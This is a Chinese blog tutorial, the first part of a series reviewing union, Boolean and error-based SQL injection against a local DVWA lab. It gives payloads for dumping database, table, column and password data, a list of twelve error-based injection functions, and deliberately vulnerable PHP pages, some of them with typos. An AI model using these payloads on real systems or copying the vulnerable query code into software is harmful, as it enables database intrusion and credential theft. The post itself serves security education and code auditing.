Ethan's Blog

SQL注入回顾篇(1)

字数统计: 3k阅读时长: 12 min
2019/03/01 Share

前言

忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考,历时两个星期,第一系列SQL注入回顾篇出炉!内容分四节发布,其中SQL注入代码审计为两节,WAF绕过总结为1节,SQLMAP使用总结为1节!此为SQL注入代码审计第一部分。欢迎各位斧正,交流!

简介

SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

Sql注入的产生需要满足以下两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。

  2. 参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。

当传入的参数ID为1’时,数据库执行的代码如下所示。

1
Select * from users where id=1

这个语句不符合数据库语法规范,所以会报错。当传入的参数为and 1=1时,执行的sql语句如下所示

1
Select * from users where id=1 and 1=1

因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时,此时sql语句恒为假,所以服务器会返回与id=1不同的结果

在实际环境中,sql注入会导致数据库的数据泄露,在安全配置不当的情况下还可能会被攻击者拿到系统权限,进行文件的读写操作等。

普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

Mysql注入相关知识点

  1. 在Mysql 5.0版本之后,Mysql默认在数据库中存放一个”information_shcema”的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA,TABLESCOLUMNS。分存储该用户创建的所有数据库的库名,库名和表名,库名和表名,字段名。

  2. Limit的用法:使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。

  3. 需要记住的几个函数

  • database():当前网站使用的数据库。

  • version():当前MYSQL的版本。

  • user():当前MySQL的用户。

  1. 注释符

在MYSQL中,常见的注释符的表达式为:#或–空格或/**/,

,//,– , –+,,%00,–a。

  1. 内联注释

    内联注释的形式:/!code /。内联注释可以用于整个SQL语句中用来执行我们的SQL语句,

    举个栗子:

    1
    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
  2. MYSQL对大小写不敏感,所以存在大小绕过。

分类

按照注入方式方式分为以下几种:

  1. Union注入
  2. Boolean注入
  3. 报错注入
  4. 时间注入
  5. 堆叠注入
  6. 二次注入
  7. 宽字节注入
  8. Cookie注入
  9. Base64注入
  10. XFF注入

Union注入

注入测试地址http://192.168.23.134/union/union.php?id=1

访问该网站页面返回的结果如图所示
在这里插入图片描述

在url后添加一个单引号,再次访问,如下图所示,页面返回的结果与id=1的结果不同。
在这里插入图片描述
访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果,如图所示,访问id=1 and 1=2 由于and 1=2为假,所以页面应返回与id=1不同的结果,如图1.2所示。
图1.1
注:这里的加号代替了空格(url编码)
在这里插入图片描述
图1.2

因此可以得出此网站可能存在sql注入的结论,接着使用order by 1-99语句查询该数据表的字段数量,可以理解为order by=1-99,如访问id=1 order by 8 返回的是与id=1相同的结果,如图2.1所示。访问id=1 order by 9,返回的与id=1的结果不同,则字段数为8,如图2.2.
在这里插入图片描述

​ 图2.1

在这里插入图片描述

​ 图2.2

接下来使用union注入,且通过order by 查询结果,得字段数为8,所以union注入的语句如下所示

1
union select 1,2,3,4,5,6,7,8

在这里插入图片描述

我们将id值设为-1,只让服务器返回union select的结果,因为数据库里没有id=-1的数据。如下图:
在这里插入图片描述
返回的结果是4,5,意味着在union select 1,2,3,4,5,6,7,8中,4和5的位置可以输入sql语句。接下来我们在 4的位置使用database()查询当前数据库名访问

1
-1+union+select+1,2,3,database(),5,6,7,8

页面成功返回数据信息,如图所示
在这里插入图片描述

得到数据库名后,接下来查询表名
在这里插入图片描述

在这里插入图片描述

以此类推,可以查询所有的表名,这里我们用users表,查询字段名

1
select column_name from information_schema.clumns where table_schema=’dvwa’ and table_name=’users’ limit 0,1

在这里插入图片描述

可知第一个字段为user_id,以此类推用limit n,1查询出所有字段名

在这里插入图片描述

在这里插入图片描述

得出字段名后,我们还要dump出字段值以password字段为例

1
select password from dvwa.users limit 0,1

在这里插入图片描述

假如我们利用5显示位,可以将密码对应的姓名也打印出来

在这里插入图片描述

Union注入代码分析

​ 在union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面上,由于是将数据输出到页面上的,所以可以利用union语句查询其他数据,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_error()

{

echo "连接失败: " . mysqli_connect_error();

}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `user_id`=".$id);

while($row = mysqli_fetch_array($result))

{

echo $row['user'] . " " . $row['password'];

echo "<br>";

}

?>

Boolean注入

注入测试地址:http://192.168.23.134/boolean/boolean.php?id=1

访问该网址页面返回yes,如图所示
在这里插入图片描述

加上单引号后,页面返回no

在这里插入图片描述

虽然这里存在报错注入,但目前暂不考虑,输入其它的id值,只返回yes和no。由此可以判断,页面只返回yes和no,不返回数据库中的数据,所以此处不可union注入。此处利用Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些sql判断条件是成立,以此获取数据库数据。我们先判断数据库名的长度。

1
and length(database())>=1--+

​ 有单引号,所以需要注释符来注释。1的位置上可以是任意数字,如‘ and length(database())>=4–+和‘ and length(database())>=5–+,判断数据库长度,如图所示
在这里插入图片描述
在这里插入图片描述

可以判断出数据库名长度为4。

​ 接着,使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在a~z,0~9之内,可能还有一些特殊字符,这里的字符不区分大小写。逐字符判断的SQL语句为:

1
and substr(database(),1,1)=’d’--+

​ substr是截取的意思,其意思是截取database()的值,从第一个字符开始,每次只返回一个。

​ substr的用法跟limit的有区别,需要注意。Limit是从0开始排序,而这里是从1开始排序。可以使用burp的爆破功能爆破其中的d值,如图所示,当值为d时页面返回yes,其它值返回no,因此判断数据库名第一位为d
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

逐字符爆破可以得出数据库名为dvwa。

​ 其实还可以使用ASCII码的字符进行查询,在mysql中ASCII转换的函数为ord,则可以进行逐字符爆破。ASCII码共有127个对应码,因此我们把burp的payload的范围设为0~127。

1
and ord(substr(database(),1,1))>=100--+

在这里插入图片描述

d的ascii对应的为100,所以第一个字符为d。

接下来爆破表名,同样利用burp爆破。

1
and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1,1)=’u’--+

在这里插入图片描述

这里爆破出第二个表的第一个字符为u,以此类推,就可以查询出所有的表名与字段名。

Boolean注入代码分析

​ 在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询的结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_errno())

{

echo "连接失败: " . mysqli_connect_error();

}

$id = $_GET['id'];

if (preg_match("/union|sleep|benchmark/i", $id)) {

exit("no");

}

$result = mysqli_query($con,"select * from users where `user_id`='".$id."'");

$row = mysqli_fetch_array($result);

if ($row) {

exit("yes");

}else{

exit("no");

}

?>

报错注入

注入测试网址:192.168.23.134/error/error.php?username=1

加上单引号后会报错。

在这里插入图片描述

通过页面返回结果可以看出,程序直接将错误信息输出到了页面上,所以利用报错注入获取数据。报错注入有多种方式,此处利用函数updataxml()SQL语句获取user()的值

1
and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII编码,解码结果为~,concat函数用于连接字符串。

在这里插入图片描述

然后获取当前的数据库名

1
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述

接下来查询表名

1
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),0x7e),1)--+

在这里插入图片描述

报错注入代码分析

在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询,如果执行成功,就输出ok;如果出错,则通过mysqli_error($con)将错误信息输出到页面。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 检测连接

if (mysqli_connect_errno())

{

echo "连接失败: " . mysqli_connect_error();

}

$username = $_GET['username'];

if($result = mysqli_query($con,"select * from users where `first_name`='".$username."'")){

echo "ok";

}else{

echo mysqli_error($con);

}

?>

输入username=1’时,SQL语句为select * from users where ‘username’=’1’’会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()等函数将要查询的内容输出到页面上。

sql报错注入的12个函数

1、通过floor报错,注入语句如下:

1
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

1
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

1
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

1
and exists(select*from(select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

1
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

1
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

1
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

1
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

1
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

1
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

1
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

1
and linestring (()select * from(select user() )a)b );

结语

本次分享是Union注入,报错注入,布尔注入的原理分析,及其代码审计!下次分享的是另外几种注入的代码审计及其原理分享,如:时间注入,堆叠注入,二次注入,cookie注入等!如有兴趣,请移步->
传送门:
SQL注入回顾篇(二)
SQL注入回顾篇(三)
SQL注入回顾篇(四)

CATALOG
  1. 1. 前言
  2. 2. 简介
  3. 3. Mysql注入相关知识点
  4. 4. 分类
  5. 5. Union注入
  6. 6. Union注入代码分析
  7. 7. Boolean注入
  8. 8. Boolean注入代码分析
  9. 9. 报错注入
  10. 10. 报错注入代码分析
  11. 11. 结语